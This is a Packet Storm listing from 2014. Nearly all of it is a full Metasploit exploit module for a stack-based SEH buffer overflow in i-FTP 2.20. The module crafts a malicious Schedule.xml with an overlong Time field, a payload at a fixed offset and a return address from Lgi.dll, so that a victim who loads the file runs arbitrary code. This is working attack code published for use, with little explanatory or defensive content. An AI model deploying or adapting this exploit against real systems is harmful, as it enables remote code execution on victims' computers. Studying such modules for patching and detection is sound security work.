i-FTP 2.20 Schedule Buffer Overflow

2014-12-31T00:00:00
ID PACKETSTORM:129781
Type packetstorm
Reporter Gabor Seljan
Modified 2014-12-31T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rexml/document'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
include REXML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'i-FTP Schedule Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
i-Ftp v2.20, caused by a long time value set for scheduled download.  
By persuading the victim to place a specially-crafted Schedule.xml file  
in the i-FTP folder, a remote attacker could execute arbitrary code on  
the system or cause the application to crash. This module has been  
tested successfully on Windows XP SP3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'metacom', # Vulnerability discovery and PoC  
'Gabor Seljan' # Metasploit module  
],  
'References' =>  
[  
[ 'EDB', '35177' ],  
[ 'OSVDB', '114279' ],  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x20\x22",  
'Space' => 2000  
},  
'Targets' =>  
[  
[ 'Windows XP SP3',  
{  
'Offset' => 600,  
'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll]  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 06 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])  
],  
self.class)  
  
end  
  
def exploit  
  
evil = rand_text_alpha(target['Offset'])  
evil << generate_seh_payload(target.ret)  
evil << rand_text_alpha(20000)  
  
xml = Document.new  
xml << XMLDecl.new('1.0', 'UTF-8')  
xml.add_element('Schedule', {})  
xml.elements[1].add_element(  
'Event',  
{  
'Url' => '',  
'Time' => 'EVIL',  
'Folder' => ''  
})  
  
sploit = ''  
xml.write(sploit, 2)  
sploit = sploit.gsub(/EVIL/, evil)  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(sploit)  
  
end  
end  
`